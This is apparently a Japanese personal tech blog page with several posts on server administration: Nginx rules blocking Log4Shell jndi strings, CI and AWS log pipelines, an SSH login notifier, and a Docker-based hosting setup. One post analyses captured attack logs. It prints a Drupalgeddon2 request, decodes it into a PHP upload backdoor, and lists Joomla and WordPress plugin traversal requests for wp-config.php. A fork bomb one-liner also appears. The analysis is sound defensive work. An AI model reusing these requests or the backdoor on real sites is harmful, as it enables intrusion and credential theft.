bookmark_borderNginxでCVE-2021-44228(Apache Log4j 2)を狙った攻撃を簡易的にブロック

Apache Log4j 2に深刻な脆弱性 CVE-2021-44228 が見つかりました.アクセスログから管理するサーバへもこの脆弱性を狙った攻撃を観測しました.

Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた – piyolog

今回はNginxで簡易的に攻撃をブロックしてみます.本質的にはペイロードを任意のヘッダへ追加された場合の対処にはならないため注意が必要です.

環境:

  • Nginx v1.20.1
  • Ubuntu 20.04.3 LTS (Focal Fossa)

設定例

以下は,設定を追加したNginxのConfigの抜粋です.mapを使い攻撃リクエストのペイロードが含まれるURLとUserAgentをパターンマッチでブロックしています.ブロックにはHTTPのステータスコード 444を使いました.

http {
    map $http_user_agent $block_ua_request {
        default 0;
        "~*\${jndi:" 1;
    }
    map $request_uri $block_request {
        default 0;
        "~*\$%7Bjndi:" 1;
    }

    server {
        if ($block_ua_request = 1) {
            return 444;
        }
        if ($block_request = 1) {
            return 444;
        }
    }
}

実際にcurlでリクエストを発行するとリクエストが拒否されていることがわかります.

$ curl "https://blog.koyama.me/$%7Bjndi:xx"
curl: (92) HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR (err 1)

余談

Qiitaへ記事を投稿しようと試みたところ,WAFにブロックされました.

参考資料

過去のISUCONで知ったNginxのmapを活用できてよかったです.

bookmark_borderWordPressをManaged Serviceに移行

これまでは,さくらのVPSを使って運用していました.自分のブログのためだけに仮想マシンのメンテナンスをするのが面倒になったのでKAGOYA JAPANのWordPress専用サーバーに移行してみました.

WordPressのコンテンツ量が多いせいか標準の移行ツールでインポートができず,最終的にはphpMyAdminでダンプしたテーブルをインポートすることで対処しました.MySQLデータベースの wp_postsテーブルとwp_postmetaテーブルをコピーして,wp-content/uploadsにメディアファイルをアップロードすれば正常に動作するようです.

KUSANAGIの速さに驚かされています.自分でチューニングや設定を行っていたことから開放される,従来よりも安い価格で運用できるので満足しています.

bookmark_borderCreating Private Wiki by mkdocs + GitLab CI + Heroku

I was looking for private wiki written by Markdown. This post introduces how to create a private wiki by mkdocs + GitLab CI + Heroku.

mkdocs

mkdocs is simple document builder from markdown to html. Used theme is material.

mkdocs.yaml

site_name: Notebook
theme:
  name: 'material'
  language: 'ja'
extra:
  search:
    language: 'ja'

GitLab CI

Putting a config file .gitlab-ci.yaml in root path on git repository.

.gitlab-ci.yaml

build-mdfiles:
  image: python:3.7-alpine
  stage: build
  script:
    - pip install -r requirements.txt
    - mkdocs build
    # test
    - apk add git
    - git clone --depth 1 https://github.com/nulltask/heroku-static-provider.git static-site
    - cd static-site/
    - git config user.email 'koya@koyama.me'
    - git config user.name 'koya'
    - git remote add heroku https://heroku:$HEROKU_API_KEY@git.heroku.com/$HEROKU_APPNAME.git
    - git pull heroku master
    - cp -r ../site/* public/
    - git add .
    - git commit -a -m `date +deploy_%Y%M%d_%H%m%S`
    - git push heroku master

Setting secret variables on Repository.
Settings => CI/CD => Variables

GitLab Setting

Heroku

Following these steps:

  1. Create Heroku account
  2. Setup Heroku CLI ENV
  3. Create a site on Heroku
    1. heroku create
  4. Optional: If you wish to use BasicAuth, you should run theses commands.
    1. heroku config:set -a=koyawiki USER=YOUR_USER
    2. heroku config:set -a=koyawiki PASS=YOUR_PASS

On Merge Request created

Running CI
CI Console
Build Wiki

bookmark_borderSSH接続をSlackへ通知する

SlackへSSH接続があると通知する仕組みを設定したのでメモしておきます。

OpenSSHへ接続すると /etc/ssh/sshrc が実行されることを利用した。以下のファイルを /etc/ssh/sshrc として配置してパーミッションを設定する。

#!/bin/bash

# [how to use]
# 1. put this file as a /etc/ssh/sshrc
# 2. change file permission with "chmod 755 /etc/ssh/sshrc"

PATH=/usr/bin:/bin:/sbin:/usr/sbin
TIME=`LANG=C date "+%Y/%m/%d %X"`
USER=`whoami`
IP=`who | tac | head -n 1 | cut -d'(' -f2 | cut -d')' -f1`
SERVER=`hostname`

SLACK_MESSAGE="`${USER}` loggined `${SERVER}` at `${TIME}` from `${IP}`"
SLACK_WEBHOOK_URL='https://hooks.slack.com/services/XXXXXXXXXXXX'
SLACK_CHANNEL='#alerts'
SLACK_USERNAME='ssh-notice'
SLACK_ICON_EMOJI='fish'

curl -X POST --data-urlencode 'payload={"channel": "'"$SLACK_CHANNEL"'", "username": "'"$SLACK_USERNAME"'", "text": "'"${SLACK_MESSAGE}"'", "icon_emoji": "'":${SLACK_ICON_EMOJI}:"'"}' ${SLACK_WEBHOOK_URL}

動作の様子

bookmark_borderWebサーバのログをS3→Lambda→AWS ElasticSearchで解析

S3にログを上げると自動でAmazon Elasticsearch Serviceへ投入するよう自動化に挑戦してみた。以下のページを読めば普通にできる。

Amazon Elasticsearch Service にストリーミングデータをロードする – Amazon Elasticsearch Service

アーキテクチャ

S3 -> Lambda -> Amazon Elasticsearch Service

いずれのサービスともリージョンが同一になるよう注意する。

S3のバケット作成

tfファイルを残すほどでもないのレベルではあるものの、一貫性を保つために残しておく。

provider "aws" {
  region = "ap-northeast-1"
}

resource "aws_s3_bucket" "b" {
  bucket = "log-store-base"
  acl    = "private"

  tags = {
    Name        = "My bucket"
    Environment = "Staging"
  }
}

Elasticsearch Serviceのドメイン作成

インスタンスは月750時間まで無料枠があるt2.micro.elasticsearchを選んだ。無料枠があるストレージはSSD 10GiBを選んだ。IP制限をしている箇所の 0.0.0.0/32 は適宜

provider "aws" {
  region = "ap-northeast-1"
}

variable "domain" {
  default = "reiwa0407"
}

data "aws_region" "current" {}

data "aws_caller_identity" "current" {}

resource "aws_elasticsearch_domain" "es" {
  domain_name = "${var.domain}"
  elasticsearch_version = "6.4"

  cluster_config {
    instance_type = "t2.small.elasticsearch"
  }

  ebs_options {
    ebs_enabled = true
    volume_size = 10
  }

  snapshot_options {
    automated_snapshot_start_hour = 23
  }

  access_policies = <<POLICY
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Action": "es:*",
      "Principal": "*",
      "Effect": "Allow",
      "Resource": "arn:aws:es:${data.aws_region.current.name}:${data.aws_caller_identity.current.account_id}:domain/${var.domain}/*",
      "Condition": {
        "IpAddress": {"aws:SourceIp": ["0.0.0.0/32"]}
      }
    }
  ]
}
POLICY
}

Lambdaの関数作成

GUI操作かtfで設定

プログラムの作成

nginxのログフォーマット(CentOS 7へパッケージ導入したnginxから抽出)

log_format main '$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for"';

apacheのログフォーマット(CentOS 7へパッケージ導入したapacheから抽出)

LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"" combined

Pythonのサンプルコード

Amazon Elasticsearch Service にストリーミングデータをロードする – Amazon Elasticsearch Service

Node.jsのサンプルコード

amazon-elasticsearch-lambda-samples/s3_lambda_es.js at master · aws-samples/amazon-elasticsearch-lambda-samples

そのままだとApacheとNginxの両方に対応していないので修正する。また、エラー時にCloudWatchコンソールへメッセージを出力する処理を追加する。

import re
from datetime import datetime as dt

def parser(line):
    json_body = {}

    '''
    Pickup enclosed "item" in double quotes
    '''
    pattern_quote = re.compile(r'("[^"]+")')
    quote_items = pattern_quote.findall(line)

    # remove blank item in list and double-quote in string
    quote_items = [tmp.replace('"', '') for tmp in quote_items]
    if len(quote_items) < 1:
        raise ValueError

    try:
        request_line = quote_items[0].split()
        json_body['method'] = request_line[0].upper()
        json_body['request_uri'] = request_line[1]
        json_body['http_version'] = request_line[2].upper()
        json_body['referer'] = quote_items[1]
        json_body['user_agent'] = quote_items[2]
    except Exception as e:
        print(e)
        print("t", line)
        return {}

    # remove matched item in list
    line = re.sub(pattern_quote, '', line)

    '''
    Pickup item splited by space
    '''
    request_items = [l for l in line.split() if l]

    try:
        json_body['source_ip'] = request_items[0]
        json_body['remote_user'] = request_items[2]
        date_str = request_items[3].replace('[', '')
        date = dt.strptime(date_str, '%d/%b/%Y:%H:%M:%S')
        json_body['time_stamp'] = date.strftime('%Y-%m-%d %H:%M:%S')
        json_body['time_zone'] = request_items[4].replace(']', '')
        json_body['status_code'] = request_items[5]
        json_body['body_bytes'] = request_items[6]
    except Exception as e:
        print(e)
        print("t", line)
        return {}

    '''
    for p,q in json_body.items():
        print(p,q)
    '''

    return json_body


if __name__ == '__main__':
    '''
    res = parser('192.168.0.182 - - [07/Apr/2019:17:35:45 +0900] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.40 Safari/537.36" "-"')
    print(res)
    '''
    import sys
    with open(sys.argv[1]) as f:
        #print(f.read())
        for l in f.read().splitlines():
            r = parser(l)
            for k,v in r.items():
                # print(k, ":", v)
                pass

終わりに

AWS Kinesis Data Firehoseを使うアプローチのほうがよりリアルタイム性が高くなるらしいので、検証してみたいと思います。

Amazon Kinesis Data Firehose とは – Amazon Kinesis Data Firehose

bookmark_borderiLogScannerでNginxアクセスログを解析(CMSを狙った攻撃を観測)

Webサーバを外部に公開すると、わるい人から攻撃を受けるわけですね。悪い人が何をしようとしたかをログから見つけることで、攻撃の対策や傾向を把握することができます。

今回はIPAで公開されている iLogScanner を使ってNginxのログを解析してみます。無償で使えるので試してみる価値はあります。

ウェブサイトの攻撃兆候検出ツール iLogScanner:IPA 独立行政法人 情報処理推進機構

実行にはJavaの実行環境が必要なので、別途でインストールしておきます。

起動すると以下のウィンドウが表示されます。アクセスログだけでなく、Mod Securityのログや認証ログも解析できます。解析対象のファイルを選択して「解析開始」を押下します。

70MB程度のログだと5分ほどで解析が終わりました。解析途中でもサマリーを表示できるのも便利です。

解析が終わると最終的なサマリーが表示されます。

細かなレポートを確認してみます。全体のうち33件が疑わしいログとして検出されました。

下へスクロールして具体的なアクセスログを見ていきます。Jetpackのアクセスがその他として検出されていることが確認できます。

その他で特徴的なアクセスとして以下がありました。

Drupalの脆弱性を狙った攻撃

102.157.247.162 - - [28/Feb/2019:23:51:19 +0900] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=echo+PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI%2BIjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0%2BIjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8%2B%3D+%7C+base64+-d+%7C+tee+sites%2Fdefault%2Ffiles%2F15697.php+%7C+rm+-rf+sites%2Fdefault%2Ffiles%2F.htaccess HTTP/1.1" 301 178 "-" "Mozilla 5.0" "-"	E274

クエリパラメータとしてを解析すると以下になりました。

q=user/password&name[#post_render][]=passthru&name[#markup]=echo PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnIIjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0BIjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8= | base64 -d | tee sites/default/files/15697.php | rm -rf sites/default/files/.htaccess

これはDrupalの脆弱性(CVE -2018-7600)を狙った攻撃であるとわかりました。

dreadlocked/Drupalgeddon2: Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

base64でエンコードされている部分をデコードしてみます。

$ echo PD9waHAKZWNobyAiUEhQIFVwbG9hZGVyIC0gUmFpejBXb3JNIC0gQml0Y2h6eiI7CmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsKZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3piJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPgo8L2Zvcm0+IjsKaWYoJF9QT1NUWyd1cGxvYWQnXSkgewogIGlmKEBjb3B5KCRfRklMRVNbJ3piJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3piJ11bJ25hbWUnXSkpIHsKICBlY2hvICJTdWNjZXNzISI7CiAgfSBlbHNlIHsKICBlY2hvICJGYWlsZWQgdG8gVXBsb2FkLiI7CiAgfQp9Cj8+= | base64 -d

<?php
echo "PHP Uploader - Raiz0WorM - Bitchzz";
echo "<br>".php_uname()."<br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='zb'><input type='submit' name='upload' value='upload'>
</form>";
if($_POST['upload']) {
  if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
  echo "Success!";
  } else {
  echo "Failed to Upload.";
  }
}
?>base64: invalid input

デコードして現れたのはファイルアップローダのバックドアでした。これを15697.phpとして保存して、.htaccessを削除することでWebからバックドアへのアクセスを可能にしています。複数ある同様のスクリプトのうち、一部のUserAgentが python-requests/2.20.1であることも確認できました。このことから、攻撃者はスクリプトにより機械的に攻撃を行っていることが伺えます。

アップローダのタイトルに含まれる Raiz0WorM が攻撃者であると推測されます。この攻撃者は継続的にサイト改ざんを行っていることがZone-hで確認できます。調べるとこの攻撃者はPHPスクリプトをバックドアとして設置していることが確認できました。

Raiz0WorM | Zone-H.org

Joomlaの脆弱性を狙った攻撃

154989    ディレクトリトラバーサル    -               158.69.38.241 - - [28/Jan/2019:13:37:13 +0900] "POST /index.php?option=com_b2jcontact&view=loader&type=uploader&owner=component&bid=1&qqfile=/../../../4p4.php HTTP/1.1" 301 178 "-" "python-requests/2.19.1" "-"   C446

パラメータqqfileの値がいかにもディレクトリトラバーサルです。特徴的な文字列として com_b2jcontactがあります。これはJoomlaのプラグインの名称だとわかりました。脆弱性 CVE-2017-5215を狙った攻撃であると判断しました。

NVD – CVE-2017-5215

エクスプロイトを比較すると類似していることが確認できます。

Joomla Codextrous Com_B2jcontact Components 2.1.17 Shell Upload Vulnerability – CXSecurity.com

WordPressのプラグイン/テーマの脆弱性を狙った攻撃

167307	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:27 +0900] "GET /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

テーマmTheme-Unusの脆弱性を利用してwp-config.phpの情報取得を試みた形跡が確認できます。2015年にも確認できている攻撃であるため、昔からの手口かと思われます。

今月の攻撃と怪しい接触(2015年8月版) | arbk-works Blog

167309	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:28 +0900] "GET /wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=../../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン wptf-image-gallery の脆弱性を利用してwp-config.phpの取得を試みた形跡が確認できます。

167311	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:30 +0900] "GET /wp-content/plugins/recent-backups/download-file.php?file_link=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグインrecent-backupsの脆弱性を利用してwp-config.phpの取得を試みた形跡が確認できます。

167313	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:31 +0900] "GET /wp-content/plugins/simple-image-manipulator/controller/download.php?filepath=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン simple-image-manipulatorの脆弱性を利用してwp-config.phpの取得を(ry

167315	ディレクトリトラバーサル	-           	51.68.62.18 - - [26/Jan/2019:07:17:33 +0900] "GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" "-"	C446

プラグイン google-mp3-audio-playerの脆弱性を利用して(ry

332315	ディレクトリトラバーサル	-           	192.99.35.149 - - [05/Mar/2019:23:57:58 +0900] "GET /wp-content/plugins/eshop-magic/download.php?file=../../../../wp-config.php HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" "-"	C446

プラグイン eshop-magicの脆弱性を(ry

332317	ディレクトリトラバーサル	-           	192.99.35.149 - - [05/Mar/2019:23:58:01 +0900] "GET //wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../wp-config.php HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" "-"	C446

プラグイン ungalleryの脆弱性を(ry

まとめ

CMS本体の脆弱性を狙った攻撃、CMSのプラグインの脆弱性を狙った攻撃が観測できました。アクセスログの解析をしたことで、攻撃の実態を把握することができました。WordPressのプラグインに注意したいと改めて感じました。

いかがでしたか?

bookmark_borderVPSにDockerでレンタルスペースを自作する[ほぼ完成]

https://blog.koyama.me/archives/1480
先日、アドベントカレンダーとして書いた記事の開発が終わったのでブログを書きます。ソースはGitHubで公開してあります。 https://github.com/tomoyk/ssh-rental-space

変更/工夫した点

DockerComposeでのcpu/ramリソース制限

docker-composeでのリソース制限はv3系からDocker Swarmを使うようになっていました。そのため、v2系で最新のv2.4で mem_limit などを利用して実現しました。

ネットワークのアクセス制御

dockerの機能であるカスタムを利用しました。sshコンテナごとに所属するコンテナを個別に作成し、sshコンテナとsyslogコンテナだけが所属するよう設計しました。 これにより、sshコンテナ同士の相互接続を防ぎ、なおかつsyslogコンテナとの疎通性は確保しています。

docker-compose.ymlの自動生成

sshコンテナの数が5個程度であれば運用コストは低いので問題ありません。しかし、コンテナ数が数十個に増えると認証情報を変えてdocker-compose.ymlを更新するのが手間になります。そこで、docker-composeがYamlであることに注目し、Pythonでdocker-compose.ymlを認証情報ファイルから自動生成するコードを作成しました。 具体的には container-credentials.csv にSSHで使用する「ユーザー名、パスワード、ポート、コンテナ名、ホスト名、マウントするホストパス」を記述します。そして、その内容をPythonで解析してYamlへ変換して出力します。

問題: uidの不一致

sshコンテナの内部に public_html を作成し、そのディレクトリをホストOSのnginxドキュメントルートとバインドしようとしました。しかし、コンテナ内部のuidとホストOSのUIDが一致しないためパーミッションの設定に困りました。 この問題はコンテナにssh接続するユーザのuidをadduserする時に指定し、それと同じuidユーザをホストOSに追加することで解決しました。

課題: コンテナを監視する仕組み

現状では構築できていない為、開発したいと思います。方法としては、container-credentialsを使ってssh接続できるか確認したり、docker execで外部との疎通性を確認したりすることを考えています。

システムアーキテクチャ

構成図を作成したので追加しました。(2019/02/28追記)

bookmark_borderVPSにDockerでレンタルスペースを自作する

この記事はセキュリティキャンプ 修了生進捗 #seccamp OB/OG Advent Calendar 2018 – Adventarの23日目です。進捗を出していきたいと思います。

TL;DR

docker-composeでsftp/scpコンテナとsyslogコンテナを起動することでレンタルスペースをVPS上につくりました。

はじめに

VPSになぜレンタルスペースを作ることになった背景について簡単に書いてみます。私の所属するサークルでは他のサークルのWebサイトをホスティングしています。そのシステムは数年前に構築され、CentOS 6.10のまま動き続けている状態でした。具体的な環境としてはユーザーがSFTP/SCPでファイルをアップロードできるようchrootでsshdを起動してありました。 そんな古いシステムをリプレイスしようと思い、新たにDockerを使ったレンタルスペースを構築しようと考えました。

設計

従来のシステムを参考に要件を定義してみました。
  • 管理者がサークルのサーバ管理者であるため、複雑な技術や難易度の高い技術の導入は難しい。
  • 各サークルのスペースを独立させたい。
  • サーバー本体にはアクセスできないよう独立させたい。
  • 容易に環境を追加、削除、復元したい。
  • ログを残しトラブルシューティングやサポートで利用可能にする。
  • サークルごとにリソースの制限(CPU,メモリ)、ネットワークのアクセス制御を行いたい。
こうした要件からDockerによるレンタルスペースを設計しました。アーキテクチャ図が以下です。
architecture
DockerのオーケストレーションツールとしてKubernetesやDocker Swarmなどの利用も検討したものの、引き継ぐことを考え断念しました。

構築

OpenSSHサーバのDockerイメージはdockerhubにあったものの、カスタマイズが必要だったため自作しました。
FROM alpine:3.8

MAINTAINER Tomoyuki KOYAMA <webmaster@koyama.me>

ENV SSH_USER          guest22
ENV SSH_PASSWORD      L1nuxCLU8
ENV SSH_PORT          22
ENV MAX_SESSION       3
ENV PERMIT_ROOT_LOGIN no
ENV SYSLOG_SERVER     172.17.0.2
ENV SYSLOG_PORT       514

RUN apk add --update --no-cache openssh openssh-sftp-server bash tzdata rsyslog && 
    : "Configure timezone" && 
    cp /usr/share/zoneinfo/Asia/Tokyo /etc/localtime && 
    echo "Asia/Tokyo" > /etc/timezone && 
    apk del tzdata && 
    rm -rf /var/cache/apk/* 

EXPOSE $SSH_PORT

VOLUME /www-data
VOLUME /var/log

ADD ./entrypoint.sh /
ADD ./motd /etc
# ADD ./sshd_banner /etc/ssh

CMD /bin/bash /entrypoint.sh && 
    /bin/rm -f /entrypoint.sh && 
    /usr/sbin/sshd -4 -f /etc/ssh/sshd_config && 
    /usr/sbin/rsyslogd -f /etc/rsyslog.conf -n
その他のコードはGitHubにあります。 tomoyk/ssh-rental-space: Dockerfileを書く時に、環境変数で実行時に後からポート番号やユーザ名などを変更できるように工夫しました。また、コンテナ内のタイムゾーン設定に配慮しました。ベースイメージをalpineにすることでイメージサイズが軽量になるよう注意しました。 実行 次のdocker-compose.ymlファイルを作成し、複数のコンテナを同時起動しています。
version: '3'
services:
  
  ssh-server1:
    container_name: circleA
    hostname: circleA
    image: ssh-server:latest
    restart: always
    environment:
      - SSH_USER=sshuser
      - SSH_PASSWORD=Password1
      - SSH_PORT=10022
      - SYSLOG_SERVER=syslog-server
    volumes:
      - ./www-data:/www-data/public_html
    depends_on:
      - syslog-server
    deploy:
      resources:
        limits:
          cpus: '0.50'
          memory: 50M
        reservations:
          cpus: '0.25'
          memory: 20M

    # cpu_percent: 50
    # cpu_shares: 73
    # cpu_quota: 50000
    # cpuset: 0,1

    ports:
      - 10022

  syslog-server:
    container_name: common-syslog
    image: syslog-server:latest
    restart: always
    volumes:
      - ./log:/var/log

動作状況

図の左上で docker-compose up -dを実行しています。図の右のコンテナからssh接続を行っています。左中央がsyslogコンテナのログです。図の下が watch docker psの実行結果です。
docker起動時

課題

リソース制限

リソース制限の設定をdocker-composeから入れたが、forkbomb :(){ :| :& };:を実行したところフリーズしてしまいました。ファイルディスクリプタやI/Oなどの制限についてカーネル周りを中心に改めて調べてみる必要がありそうです。Wikipediaのforkbombに書かれたいた /etc/security/limits.confなども確認してみようと思います。

ネットワークのアクセス制御

ネットワークをSSH/SFTPコンテナごとに隔離したいと思っているものの、現状では出来ていません。dockerのnetworkや制御の仕組みをうまく導入したいと思います。

コンテナの監視

コンテナにSSHができなくなった時に、自動で再起動する仕組みづくりが必要だと感じました。仮にプロセスが暴走してリソース制限の最大までリソースを使い果たしても、dockerの restart=alwaysでは再起動を行ってくれません。 そのため、コンテナの状態を監視する仕組みを作り監視の自動化を行いたいと考えています。ここまでやるのであれば素直にKubernetesを使ってもいい気がします。
追記: 2019-01-01 構築が終わりました!

最後に

Dockerを完全に理解した方からアドバイスを頂けると嬉しいです。
(あと、2019年1月からのアルバイト先(都内)を探します。) 明日は hiwwさんです!

bookmark_borderCAのKubernetes勉強会に参加した

12/1,2にCyberAgentが主催するKubernetesの勉強会に参加した。Kubernetesに興味があったため、InternetWeekの翌日であったが気合いで参加した。
抽象化された概念の理解に頭が追いつかず苦労した。覚えたことが多すぎて圧倒的な学びを得られた。思いつく単語でも Pods, Replicaset, Deployment, Node, HPA, Ingress, LoadBalancer, ConfigMap …

その翌日…

サイバーマンデーでCKADの受験料が $300 -> $179 に割引されていたので衝動買いしてしまった。
https://twitter.com/yukihane/status/1069122901540892678
The Linux Foundationからメールが届いたw
$ 179をどぶに捨てないように勉強して来年のうちにCKADを取りたい!!

bookmark_borderInternetWeek 2018 にNOCチームで参加

InternetWeek 2018でNOCチームのメンバーとして活動した。細かいことはNDAで書けないので、CONBUさんのTwitterを貼りながら簡単に振り返る。
Wi-FiのAssoc数のグラフはいつもどおり、お昼の時間になるとガクッと下がっている。特に担当したNAT64も少なからずユーザがいて良かった。
今回は監視ツールを駆使することで、細かなデータの可視化が上手くできた。

NOCを追えて

NAT64の構築を通じて、IPv6について理解を深められたのも良い経験になった。来年も精進して快適なネットワークづくりに貢献したい。